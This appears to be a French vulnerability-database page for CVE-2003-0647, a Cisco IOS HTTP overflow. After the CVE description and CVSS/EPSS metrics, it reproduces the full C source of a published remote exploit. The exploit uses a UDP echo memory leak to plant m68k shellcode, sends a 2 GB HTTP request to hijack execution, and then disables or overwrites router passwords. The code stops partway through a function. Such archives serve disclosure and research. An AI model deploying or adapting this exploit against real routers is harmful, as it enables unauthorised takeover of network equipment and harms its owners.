CVE-2003-0647 : Détail

CVE-2003-0647

1.42%V3
Network
2003-08-05
04h00 +00:00
2024-09-16
19h30 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in the HTTP server for Cisco IOS 12.2 and earlier allows remote attackers to execute arbitrary code via an extremely long (2GB) HTTP GET request.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 77

Date de publication : 2003-08-09 22h00 +00:00
Auteur : FX
EDB Vérifié : Yes

/* * ..--==[[ Phenoelit ]]==--.. * / \ * | CISCO CASUM EST | * \.. ../ * ~~---==(MMIII)==---~~ * * * Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using * IOS 11.x UDP Echo memory leak for shellcode placing and address calculation. * * This code does support exploitation of any 11.x Cisco 1600 and 2500 series * running "ip http server" and "service udp-small-servers". In other words, * port 80 TCP and port 7 UDP have to be open. The exploitation will take a * very long time since the overflow is triggered by sending 2 Gigabytes of * data to the device. Depending on your connection to the target, this may * take up to several DAYS. * * Shellcodes: * o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS * patching shellcode is used. After that, the device will no longer * validate VTY and enable access passwords. Mission accomplished. * o In case of any other 11.x IOS or in case it runs from flash where * code patching is more complicated, the shellcode will replace all * passwords in the config with "phenoelit" and reboot the box. Change * the passwords in the shellcodes if you like. * * --- * FX of Phenoelit <fx at phenoelit.de> * */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <rpc/types.h> #include <netdb.h> #include <sys/socket.h> #include <arpa/inet.h> #include "protocols.h" #include "packets.h" char m68nop[] = "\x4E\x71"; char returncode[] = "\x24\x7c\x02\x0b\xfe\x30" //moveal #34340400,%a2 (0x00000000) "\x34\xbc\x4e\x75" //movew #20085,%a2@ (0x00000006) "\x24\x7c\x02\x04\xae\xfa" //moveal #33861370,%a2 (0x0000000A) "\x24\xfc\x30\x3c\x00\x01" //movel #809238529,%a2@+ (0x00000010) "\x24\xfc\x4c\xee\x04\x0c" //movel #1290667020,%a2@+ (0x00000016) "\x24\xfc\xff\xf4\x4e\x5e" //movel #-766370,%a2@+ (0x0000001C) "\x24\xfc\x4e\x75\x00\x00" //movel #1316290560,%a2@+ (0x00000022) "\x24\x7c\x02\x07\x21\x6a" //moveal #34021738,%a2 (0x00000028) "\x34\xbc\x4e\x71" //movew #20081,%a2@ (0x0000002E) "\x24\x4f" //moveal %sp,%a2 (0x00000032) "\x0c\x1f\x00\x02" //cmpib #2,%sp@+ (0x00000034) "\x0c\x97\x02\x19\xfc\xc0" //cmpil #35257536,%sp@ (0x00000038) "\x66\x00\xff\xf4" //bnew 34 <findret> (0x0000003E) "\x24\x8f" //movel %sp,%a2@ (0x00000042) "\x59\x92" //subql #4,%a2@ (0x00000044) "\x2c\x52" //moveal %a2@,%fp (0x00000046) "\x42\x80" //clrl %d0 (0x00000048) "\x4c\xee\x04\x00\xff\xfc" //moveml %fp@(-4),%a2 (0x0000004A) "\x4e\x5e" //unlk %fp (0x00000050) "\x4e\x75" //rts (0x00000052) ; char modcfg[] = "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x00000000) "\xe2\xd0" //lsrw %a0@ (0x00000006) "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000008) "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x0000000C) "\x30\xbc\x00\x01" //movew #1,%a0@ (0x00000012) "\x20\x7c\x0e\x00\x00\x00" //moveal #234881024,%a0 (0x00000016) "\x54\x88" //addql #2,%a0 (0x0000001C) "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000001E) "\x66\xf8" //bnes 1c <find_magic> (0x00000022) "\x22\x48" //moveal %a0,%a1 (0x00000024) "\x58\x89" //addql #4,%a1 (0x00000026) "\x24\x49" //moveal %a1,%a2 (0x00000028) "\x50\x8a" //addql #8,%a2 (0x0000002A) "\x50\x8a" //addql #8,%a2 (0x0000002C) "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000002E) "\x67\x28" //beqs 5c <end_of_config> (0x00000032) "\x4b\xfa\x00\xc6" //lea %pc@(fc <S_password>),%a5 (0x00000034) "\x61\x5a" //bsrs 94 <strstr> (0x00000038) "\x4a\x80" //tstl %d0 (0x0000003A) "\x67\x08" //beqs 46 <next1> (0x0000003C) "\x28\x40" //moveal %d0,%a4 (0x0000003E) "\x4b\xfa\x00\xcf" //lea %pc@(111 <REPLACE_password>),%a5 (0x00000040) "\x61\x62" //bsrs a8 <nvcopy> (0x00000044) "\x4b\xfa\x00\xc0" //lea %pc@(108 <S_enable>),%a5 (0x00000046) "\x61\x48" //bsrs 94 <strstr> (0x0000004A) "\x4a\x80" //tstl %d0 (0x0000004C) "\x67\x08" //beqs 58 <next2> (0x0000004E) "\x28\x40" //moveal %d0,%a4 (0x00000050) "\x4b\xfa\x00\xc8" //lea %pc@(11c <REPLACE_enable>),%a5 (0x00000052) "\x61\x50" //bsrs a8 <nvcopy> (0x00000056) "\x52\x8a" //addql #1,%a2 (0x00000058) "\x60\xd2" //bras 2e <modmain> (0x0000005A) "\x32\xbc\x00\x00" //movew #0,%a1@ (0x0000005C) "\x7e\x01" //moveq #1,%d7 (0x00000060) "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000062) "\x9d\x47" //subxw %d7,%d6 (0x00000068) "\x6b\xfc" //bmis 68 <chksm_delay> (0x0000006A) "\x2a\x48" //moveal %a0,%a5 (0x0000006C) "\x61\x50" //bsrs c0 <chksum> (0x0000006E) "\x32\x86" //movew %d6,%a1@ (0x00000070) "\x7e\x01" //moveq #1,%d7 (0x00000072) "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000074) "\x99\x47" //subxw %d7,%d4 (0x0000007A) "\x6b\xfc" //bmis 7a <final_delay> (0x0000007C) "\x46\xfc\x27\x00" //movew #9984,%sr (0x0000007E) "\x20\x7c\x0f\xf0\x00\x00" //moveal #267386880,%a0 (0x00000082) "\x2e\x50" //moveal %a0@,%sp (0x00000088) "\x20\x7c\x0f\xf0\x00\x04" //moveal #267386884,%a0 (0x0000008A) "\x20\x50" //moveal %a0@,%a0 (0x00000090) "\x4e\xd0" //jmp %a0@ (0x00000092) "\x28\x4a" //moveal %a2,%a4 (0x00000094) "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000096) "\x67\x08" //beqs a4 <strstr_endofstr> (0x0000009A) "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009C) "\x67\xf6" //beqs 96 <strstr_2> (0x0000009E) "\x42\x80" //clrl %d0 (0x000000A0) "\x4e\x75" //rts (0x000000A2) "\x20\x0c" //movel %a4,%d0 (0x000000A4) "\x4e\x75" //rts (0x000000A6) "\x7e\x01" //moveq #1,%d7 (0x000000A8) "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000AA) "\x67\x0e" //beqs be <nvcopy_end> (0x000000AE) "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000B0) "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B2) "\x9d\x47" //subxw %d7,%d6 (0x000000B8) "\x6b\xfc" //bmis b8 <nvcopy_delay> (0x000000BA) "\x60\xec" //bras aa <nvcopyl1> (0x000000BC) "\x4e\x75" //rts (0x000000BE) "\x42\x87" //clrl %d7 (0x000000C0) "\x42\x80" //clrl %d0 (0x000000C2) "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C4) "\x66\x0a" //bnes d4 <chk_hack> (0x000000C8) "\x52\x80" //addql #1,%d0 (0x000000CA) "\x0c\x80\x00\x00\x00\x0a" //cmpil #10,%d0 (0x000000CC) "\x67\x08" //beqs dc <chk2> (0x000000D2) "\x42\x86" //clrl %d6 (0x000000D4) "\x3c\x1d" //movew %a5@+,%d6 (0x000000D6) "\xde\x86" //addl %d6,%d7 (0x000000D8) "\x60\xe8" //bras c4 <chk1> (0x000000DA) "\x2c\x07" //movel %d7,%d6 (0x000000DC) "\x2a\x07" //movel %d7,%d5 (0x000000DE) "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000E0) "\xe0\x8d" //lsrl #8,%d5 (0x000000E6) "\xe0\x8d" //lsrl #8,%d5 (0x000000E8) "\xdc\x45" //addw %d5,%d6 (0x000000EA) "\x28\x06" //movel %d6,%d4 (0x000000EC) "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EE) "\x66\x00\xff\xea" //bnew e0 <chk3> (0x000000F4) "\x46\x46" //notw %d6 (0x000000F8) "\x4e\x75" //rts (0x000000FA) "\x0a"" password ""\x00" "\x0a""enable ""\x00" "phenoelit\x0a""\x00" "password phenoelit\x0a""\x00" ; char modcfg2k5[] = "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000000) "\x20\x7c\x02\x00\x00\x00" //moveal #33554432,%a0 (0x00000004) "\x54\x88" //addql #2,%a0 (0x0000000A) "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000000C) "\x66\xf8" //bnes a <find_magic> (0x00000010) "\x22\x48" //moveal %a0,%a1 (0x00000012) "\x58\x89" //addql #4,%a1 (0x00000014) "\x24\x49" //moveal %a1,%a2 (0x00000016) "\x50\x8a" //addql #8,%a2 (0x00000018) "\x50\x8a" //addql #8,%a2 (0x0000001A) "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000001C) "\x67\x28" //beqs 4a <end_of_config> (0x00000020) "\x4b\xfa\x00\xd6" //lea %pc@(fa <S_password>),%a5 (0x00000022) "\x61\x6a" //bsrs 92 <strstr> (0x00000026) "\x4a\x80" //tstl %d0 (0x00000028) "\x67\x08" //beqs 34 <next1> (0x0000002A) "\x28\x40" //moveal %d0,%a4 (0x0000002C) "\x4b\xfa\x00\xdf" //lea %pc@(10f <REPLACE_password>),%a5 (0x0000002E) "\x61\x72" //bsrs a6 <nvcopy> (0x00000032) "\x4b\xfa\x00\xd0" //lea %pc@(106 <S_enable>),%a5 (0x00000034) "\x61\x58" //bsrs 92 <strstr> (0x00000038) "\x4a\x80" //tstl %d0 (0x0000003A) "\x67\x08" //beqs 46 <next2> (0x0000003C) "\x28\x40" //moveal %d0,%a4 (0x0000003E) "\x4b\xfa\x00\xd8" //lea %pc@(11a <REPLACE_enable>),%a5 (0x00000040) "\x61\x60" //bsrs a6 <nvcopy> (0x00000044) "\x52\x8a" //addql #1,%a2 (0x00000046) "\x60\xd2" //bras 1c <modmain> (0x00000048) "\x42\x80" //clrl %d0 (0x0000004A) "\x2a\x49" //moveal %a1,%a5 (0x0000004C) "\x52\x00" //addqb #1,%d0 (0x0000004E) "\x1a\xfc\x00\x00" //moveb #0,%a5@+ (0x00000050) "\x7e\x01" //moveq #1,%d7 (0x00000054) "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000056) "\x9d\x47" //subxw %d7,%d6 (0x0000005C) "\x6b\xfc" //bmis 5c <chksm_delay> (0x0000005E) "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000060) "\x66\xe8" //bnes 4e <chksm_del> (0x00000064) "\x2a\x48" //moveal %a0,%a5 (0x00000066) "\x61\x54" //bsrs be <chksum> (0x00000068) "\x2a\x49" //moveal %a1,%a5 (0x0000006A) "\x52\x8d" //addql #1,%a5 (0x0000006C) "\x42\x80" //clrl %d0 (0x0000006E) "\x52\x00" //addqb #1,%d0 (0x00000070) "\x1a\x86" //moveb %d6,%a5@ (0x00000072) "\x7e\x01" //moveq #1,%d7 (0x00000074) "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000076) "\x99\x47" //subxw %d7,%d4 (0x0000007C) "\x6b\xfc" //bmis 7c <final_delay> (0x0000007E) "\xe0\x4e" //lsrw #8,%d6 (0x00000080) "\x2a\x49" //moveal %a1,%a5 (0x00000082) "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000084) "\x66\xe6" //bnes 70 <final_wr> (0x00000088) "\x20\x7c\x03\x00\x00\x60" //moveal #50331744,%a0 (0x0000008A) "\x4e\xd0" //jmp %a0@ (0x00000090) "\x28\x4a" //moveal %a2,%a4 (0x00000092) "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000094) "\x67\x08" //beqs a2 <strstr_endofstr> (0x00000098) "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009A) "\x67\xf6" //beqs 94 <strstr_2> (0x0000009C) "\x42\x80" //clrl %d0 (0x0000009E) "\x4e\x75" //rts (0x000000A0) "\x20\x0c" //movel %a4,%d0 (0x000000A2) "\x4e\x75" //rts (0x000000A4) "\x7e\x01" //moveq #1,%d7 (0x000000A6) "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000A8) "\x67\x0e" //beqs bc <nvcopy_end> (0x000000AC) "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000AE) "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B0) "\x9d\x47" //subxw %d7,%d6 (0x000000B6) "\x6b\xfc" //bmis b6 <nvcopy_delay> (0x000000B8) "\x60\xec" //bras a8 <nvcopyl1> (0x000000BA) "\x4e\x75" //rts (0x000000BC) "\x42\x87" //clrl %d7 (0x000000BE) "\x42\x80" //clrl %d0 (0x000000C0) "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C2) "\x66\x0a" //bnes d2 <chk_hack> (0x000000C6) "\x52\x80" //addql #1,%d0 (0x000000C8) "\x0c\x80\x00\x00\x00\x14" //cmpil #20,%d0 (0x000000CA) "\x67\x08" //beqs da <chk2> (0x000000D0) "\x42\x86" //clrl %d6 (0x000000D2) "\x3c\x1d" //movew %a5@+,%d6 (0x000000D4) "\xde\x86" //addl %d6,%d7 (0x000000D6) "\x60\xe8" //bras c2 <chk1> (0x000000D8) "\x2c\x07" //movel %d7,%d6 (0x000000DA) "\x2a\x07" //movel %d7,%d5 (0x000000DC) "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000DE) "\xe0\x8d" //lsrl #8,%d5 (0x000000E4) "\xe0\x8d" //lsrl #8,%d5 (0x000000E6) "\xdc\x45" //addw %d5,%d6 (0x000000E8) "\x28\x06" //movel %d6,%d4 (0x000000EA) "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EC) "\x66\x00\xff\xea" //bnew de <chk3> (0x000000F2) "\x46\x46" //notw %d6 (0x000000F6) "\x4e\x75" //rts (0x000000F8) "\x0a"" password ""\x00" "\x0a""enable ""\x00" "phenoelit\x0a""\x00" "password phenoelit\x0a""\x00" ; // // address selection strategies // #define S_RANDOM 1 #define S_LAST 2 #define S_SMALLEST 3 #define S_HIGHEST 4 #define S_FREQUENT 5 typedef struct { unsigned int a; unsigned int count; } addrs_t; #define LOW_ADDR_THR 5 #define LOW_COUNT_THR 3 // // IO memory block header based fingerprinting // static struct { unsigned int PC_start; unsigned int PC_end; unsigned int IO_start; unsigned int IO_end; char *name; unsigned char *code; unsigned int codelen; unsigned char *nop; unsigned int noplen; unsigned int fakefp; } cisco_boxes[] = { {0x08000000, 0x08ffffff, 0x02C00000, 0x02FFFFFF, "Cisco 1600 series, run from Flash", modcfg, sizeof(modcfg)-1, m68nop, sizeof(m68nop)-1 , 0x02f0f1f2 }, {0x0208F600, 0x0208F93C, 0x02C00000, 0x02FFFFFF, "Cisco 1603, 11.3(11b) IP only, run from RAM", returncode, sizeof(returncode)-1, m68nop, sizeof(m68nop)-1 , 0x02f0f1f2 }, {0x03000000, 0x037FFFFF, 0x00E00000, 0x00FFFFFF, "Cisco 2500 series, run from Flash", modcfg2k5, sizeof(modcfg2k5)-1, m68nop, sizeof(m68nop)-1, 0x00079000 }, {0,0,0,0,NULL,NULL,0,NULL,0,0} }; // ***************** Status and other tracking ******************* // // HTTP communication // struct { int sfd; unsigned int done; } http; // // UDP leak // #define MAXADDRS 100 #define DEFAULTRUNS 206 #define LOCALPORT 31336 // almost 31337 ;) #define PACKETMAX 1400 struct { int sfd; int udpsfd; int guess; addrs_t addrs[MAXADDRS]; unsigned int addrc; unsigned int lastaddr; int nop_offset; int nop_sled; } leak; // // config // struct { char *device; char *target; struct in_addr target_addr; int verbose; int testmode; int strategy; unsigned int leakme; unsigned int timeout; unsigned int leakruns; } cfg; // // function prototypes // void usage(char *s); void *smalloc(size_t s); int HTTPpre(void); void HTTPsend(char *what); int IOSlack(unsigned int runs, int shellcode); unsigned char *UDPecho( unsigned int *plen, unsigned char *payload, unsigned int payload_len); void UDPanalyze(unsigned char *b, unsigned int len, unsigned char *expected, unsigned int expected_length); unsigned int SelectAddress(void); int CheckForbidden(unsigned int address); // *************************** main code ************************* int main(int argc, char **argv) { // // HTTP elements // char token6[] ="/Cisco"; char token50[]="/AnotherLemmingAndAntoherLemmingAndAnotherLemmingX"; char token48[]="/HereComesTheFinalLemmingAndClosesTheGapForever/"; char httpend[]=" HTTP/1.0\r\n\r\n"; char overflow[30]; // // stuff we need // unsigned int i; int saved_guess; unsigned int retaddr; // // command line // char option; extern char *optarg; // // output stuff // double percent; double lpercent=(double)0; memset(&cfg,0,sizeof(cfg)); memset(&leak,0,sizeof(leak)); memset(&http,0,sizeof(http)); // // set defaults // cfg.leakme=0x4C00; cfg.timeout=3; cfg.leakruns=DEFAULTRUNS; cfg.strategy=S_SMALLEST; while ((option=getopt(argc,argv,"vTA:t:L:R:d:i:"))!=EOF) { switch(option) { case 'v': cfg.verbose++; break; case 'T': cfg.testmode++; break; case 'A': cfg.strategy=(int)strtoul(optarg,(char **)NULL,10); break; case 't': cfg.timeout=(int)strtoul(optarg,(char **)NULL,10); break; case 'L': cfg.leakme=(int)strtoul(optarg,(char **)NULL,10); break; case 'R': cfg.leakruns=(int)strtoul(optarg,(char **)NULL,10); break; case 'd': { struct hostent *he; if ((he=gethostbyname(optarg))==NULL) { fprintf(stderr,"Could not resolve %s\n",cfg.target); return (-1); } bcopy(he->h_addr, (char *)&(cfg.target_addr.s_addr), he->h_length); cfg.target=smalloc(strlen(optarg)+1); strcpy(cfg.target,optarg); } break; case 'i': cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; default: usage(argv[0]); // does not return } } // // idiot check // if ( !(cfg.device && *((u_int32_t *)&(cfg.target_addr)) )) usage(argv[0]); // // verify the UDP leak and make sure it's a known box // if (IOSlack(1,-1)!=0) { fprintf(stderr,"You need an IOS 11.x target with UDP echo service enabled\n" "for this thing to work. Obviously, you don't have that.\n"); return (1); } if (leak.guess==(-1)) { fprintf(stderr,"Apparently, you got a good target, but it's not one of the\n" "platforms we got code for. Life sucks.\n"); return (1); } else { printf("Target identified as '%s'.\n",cisco_boxes[leak.guess].name); if (cfg.verbose) { printf("Using the following code:\n"); hexdump(cisco_boxes[leak.guess].code, cisco_boxes[leak.guess].codelen); } saved_guess=leak.guess; } if (leak.lastaddr == 0) { printf("The memory leak data did not contain enough information to\n" "calculate the addresses correctly. The router may be busy,\n" "in which case this method is likely to fail!\n"); return (2); } else { printf("Calculated address in test: 0x%08X\n",leak.lastaddr); } // // Connect to HTTP server and send the first "GET " // if (HTTPpre()!=0) return 1; // // fill normal buffer // printf("Sending token50 x 0x5 + token6 ...\n"); HTTPsend(token50); HTTPsend(token50); HTTPsend(token50); HTTPsend(token50); HTTPsend(token50); HTTPsend(token6); // // send enough data to overflow the counter // i=1; printf("Sending token50 x 0x28F5C28 (2 Gigabytes of data)...\n"); while (i<=0x28F5C28) { if (!cfg.testmode) HTTPsend(token50); http.done+=50; i++; // // output // percent = (double)http.done / (double)0x80000000; if ( percent > lpercent+0.0001 ) { printf("%5.2f%% done\n",percent * 100); lpercent=percent; } } printf("Sending final token48 ...\n"); HTTPsend(token48); // // Use infoleak to transfer code and calculate address // memset(&leak,0,sizeof(leak)); if (IOSlack(cfg.leakruns,saved_guess)!=0) { fprintf(stderr,"Your target does no longer leak memory. This could have\n" "several reasons, but it sure prevents you from exploiting it.\n"); return (-1); } else { printf("Aquired %u addresses with our code\n",leak.addrc); if (leak.addrc<LOW_ADDR_THR) { printf( "WARNING: This is a low number of addresses.\n" " The target is probably busy!!\n"); } } if (saved_guess!=leak.guess) printf("Errrmmm... your target type changed. Just so you know, \n" "it's not supposed to do that\n"); // // prepare the overflow buffer // printf("Selecting address, using nop sled of %u and offset in the sled of %u\n", leak.nop_sled, leak.nop_offset); if ( (retaddr=SelectAddress()) == 0) return (-1); memset(&overflow,0,sizeof(overflow)); sprintf(overflow, "BB%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X" , (unsigned char)( (cisco_boxes[saved_guess].fakefp>>24)&0xFF), (unsigned char)( (cisco_boxes[saved_guess].fakefp>>16)&0xFF), (unsigned char)( (cisco_boxes[saved_guess].fakefp>> 8)&0xFF), (unsigned char)( (cisco_boxes[saved_guess].fakefp )&0xFF), (unsigned char)( (retaddr>>24)&0xFF), (unsigned char)( (retaddr>>16)&0xFF), (unsigned char)( (retaddr>> 8)&0xFF), (unsigned char)( (retaddr )&0xFF)); if (cfg.verbose) hexdump(overflow,sizeof(overflow)-1); // // perform overflow and overwrite return address // printf("Sending overflow of %u bytes\n",strlen(overflow)); HTTPsend(overflow); printf("Sending final HTTP/1.0\n"); HTTPsend(httpend); close(http.sfd); // // all done // return 0; } void usage(char *s) { fprintf(stderr,"Usage: %s -i <interface> -d <target> [-options]\n",s); fprintf(stderr,"Options are:\n" "-v Verbose mode.\n" "-T Test mode, don't really exploit\n" "-An Address selection strategy. Values are:\n" " 1 (random), 2 (last), 3 (smallest), 4 (highest), 5 (most frequent)\n" "-tn Set timeout for info leak to n seconds\n" "-Ln Set requested memory leak to n bytes\n" "-Rn Set number of final leak runs to n\n" ); exit (1); } // // *********************** HTTP related ************************** // int HTTPpre(void) { char get[] = "GET "; struct sockaddr_in sin; struct hostent *he; memset(&sin,0,sizeof(struct sockaddr_in)); if ((he=gethostbyname(cfg.target))==NULL) { fprintf(stderr,"Could not resolve %s\n",cfg.target); return (-1); } sin.sin_family=AF_INET; sin.sin_port=htons(80); bcopy(he->h_addr,(char *)&sin.sin_addr,he->h_length); bzero(&(sin.sin_zero),8); if ((http.sfd=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { fprintf(stderr,"socket(TCP) error\n"); return(-1); } printf("Connecting to HTTP server on %s ...\n",cfg.target); if (connect(http.sfd,(struct sockaddr *)&sin,sizeof(sin))<0) { fprintf(stderr,"Failed to connect to HTTP\n"); return (-1); } printf("Connected!\n"); // // send "GET " // HTTPsend(get); return 0; } void HTTPsend(char *what) { if (send(http.sfd,what,strlen(what),0)<0) { fprintf(stderr,"send() failed!\n"); exit(-1); } } // // *********************** UDP related ************************** // int IOSlack(unsigned int runs, int shellcode) { // // the leak packet // #define DUMMY_SIZE 512 unsigned char *packet; unsigned int length; char dummy[DUMMY_SIZE]; unsigned char *sc,*st; unsigned int sclen; // // recv stuff // char *rbuf; unsigned int rx; // // doing the stuff // unsigned int r; struct sockaddr_in frm; int frmlen=sizeof(struct sockaddr_in); fd_set rfds; struct timeval tv; int select_ret; int recvflag; struct sockaddr_in myself; // // init // leak.guess=(-1); r=runs; recvflag=0; st=NULL; // // get the sockets // if ( (leak.sfd=init_socket_IP4(cfg.device,1)) == (-1) ) { fprintf(stderr,"Couldn't grab a raw socket\n"); return (-1); } myself.sin_family=AF_INET; myself.sin_port=htons(LOCALPORT); myself.sin_addr.s_addr=INADDR_ANY; if ( (leak.udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) <0) { fprintf(stderr,"Couldn't grab a UDP socket\n"); return (-1); } if ( bind(leak.udpsfd,(struct sockaddr *)&myself,sizeof(struct sockaddr)) != 0) { fprintf(stderr,"bind() failed\n"); return (-1); } // // determine packet contents and make a packet // if (shellcode==(-1)) { memset(&dummy,0x50,DUMMY_SIZE-1); dummy[DUMMY_SIZE-1]=0x00; sc=dummy; sclen=DUMMY_SIZE-1; } else { unsigned char *t; unsigned int i; t=sc=st=smalloc(PACKETMAX); // // calculate the remaining space for nops // leak.nop_sled=PACKETMAX-cisco_boxes[shellcode].codelen; // // align // while ( (leak.nop_sled % cisco_boxes[shellcode].noplen) != 0) leak.nop_sled--; for (i=0;i< (leak.nop_sled/cisco_boxes[shellcode].noplen) ;i++) { memcpy(t,cisco_boxes[shellcode].nop,cisco_boxes[shellcode].noplen); t+=cisco_boxes[shellcode].noplen; } // // add the real code // memcpy(t,cisco_boxes[shellcode].code,cisco_boxes[shellcode].codelen); t+=cisco_boxes[shellcode].codelen; sclen=leak.nop_sled + cisco_boxes[shellcode].codelen; // // calculate a nop_offset and align // leak.nop_offset=leak.nop_sled * 0.8; while ( (leak.nop_offset % cisco_boxes[shellcode].noplen) != 0) leak.nop_offset--; if (cfg.verbose) hexdump(st,sclen); } packet=UDPecho(&length,sc,sclen); // // allocate receive buffer // rbuf=smalloc(cfg.leakme+0x200); // // do it // printf("Getting IO memory leak data (%u times) ...\n",r); while (r--) { sendpack_IP4(leak.sfd,packet,length); tv.tv_sec=cfg.timeout; tv.tv_usec=0; FD_ZERO(&rfds); FD_SET(leak.udpsfd,&rfds); select_ret=select(leak.udpsfd+1,&rfds,NULL,NULL,&tv); if (select_ret>0) { rx=recvfrom(leak.udpsfd,rbuf,cfg.leakme,0,(struct sockaddr *)&frm,&frmlen); if (rx<0) { fprintf(stderr,"UDP recvfrom() failed\n"); return (-1); } if (cfg.verbose) printf("Received %u bytes data\n",rx); if (cfg.verbose>1) hexdump(rbuf,rx); recvflag=1; // // analyze what we got // UDPanalyze(rbuf,rx,sc,sclen); } else { printf("Timeout at %u - may be lost packet?\n",r); } } // // clean up // free(packet); free(rbuf); if (st!=NULL) free(st); close(leak.sfd); close(leak.udpsfd); if (cfg.verbose==0) printf("\n"); // be nice if (recvflag) { return 0; } else { return 1; } } unsigned char *UDPecho( unsigned int *plen, // returned length of packet unsigned char *payload, // pointer to payload unsigned int payload_len // length of payload ) { unsigned char *pack; iphdr_t *ip; udphdr_t *udp; u_char *pay; u_char *t; u_int16_t cs; *plen=sizeof(iphdr_t)+sizeof(udphdr_t)+payload_len; pack=smalloc(*plen+10); ip=(iphdr_t *)pack; ip->version=4; ip->ihl=sizeof(iphdr_t)/4; ip->ttl=0x80; ip->protocol=IPPROTO_UDP; memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); memcpy(&(ip->daddr.s_addr),&(cfg.target_addr),IP_ADDR_LEN); udp=(udphdr_t *)((void *)ip+sizeof(iphdr_t)); udp->sport=htons(LOCALPORT); udp->dport=htons(7); udp->length=htons(cfg.leakme); pay=(u_char *)((void *)udp+sizeof(udphdr_t)); t=pay; memcpy(pay,payload,payload_len); t+=payload_len; ip->tot_len=htons(*plen); cs=chksum((u_char *)ip,sizeof(iphdr_t)); ip->check=cs; if (cfg.verbose>1) hexdump(pack,*plen); return pack; } void UDPanalyze(unsigned char *b, unsigned int len, unsigned char *expected, unsigned int expected_length) { #define ST_MAGIC 1 #define ST_PID 2 #define ST_CHECK 3 #define ST_NAME 4 #define ST_PC 5 #define ST_NEXT 6 #define ST_PREV 7 #define ST_SIZE 8 #define ST_REF 9 #define ST_LASTDE 10 #define ST_ID_ME_NOW 100 unsigned char *p; int state=0; int i=0; unsigned char *opcode_begin; unsigned char *block2_next_field; unsigned int block3_next_val; unsigned int p_name; unsigned int p_pc; unsigned int p_next; unsigned int p_prev; opcode_begin=NULL; block2_next_field=NULL; block3_next_val=0; if ((!memcmp(b,expected,expected_length))) { if (cfg.verbose>1) printf("Payload found!\n"); opcode_begin=b; } p=b; while ((b+len-4)>p) { if ( (p[0]==0xfd) && (p[1]==0x01) && (p[2]==0x10) && (p[3]==0xDF) ) { if (cfg.verbose>1) printf("REDZONE MATCH!\n"); else { printf("!"); fflush(stdout); } state=ST_MAGIC; p+=4; } switch (state) { case ST_MAGIC: if (cfg.verbose) printf("MEMORY BLOCK\n"); state++; p+=4; break; case ST_PID: if (cfg.verbose) printf("\tPID : %08X\n",ntohl(*(unsigned int *)p)); state++; p+=4; break; case ST_CHECK: if (cfg.verbose) printf("\tAlloc Check: %08X\n",ntohl(*(unsigned int *)p)); state++; p+=4; break; case ST_NAME: p_name=ntohl(*(unsigned int *)p); if (cfg.verbose) printf("\tAlloc Name : %08X\n",p_name); state++; p+=4; break; case ST_PC: p_pc=ntohl(*(unsigned int *)p); if (cfg.verbose) printf("\tAlloc PC : %08X\n",p_pc); state++; p+=4; break; case ST_NEXT: p_next=ntohl(*(unsigned int *)p); if (cfg.verbose) printf("\tNEXT Block : %08X\n",p_next); if (block2_next_field==NULL) { if (cfg.verbose) printf("Assigning as block2_next_field\n"); block2_next_field=p; } else if (block3_next_val==0) { if (cfg.verbose) printf("Assigning as block3_next_val\n"); block3_next_val=p_next; } state++; p+=4; break; case ST_PREV: p_prev=ntohl(*(unsigned int *)p); if (cfg.verbose) printf("\tPREV Block : %08X\n",p_prev); state++; p+=4; break; case ST_SIZE: if (cfg.verbose) 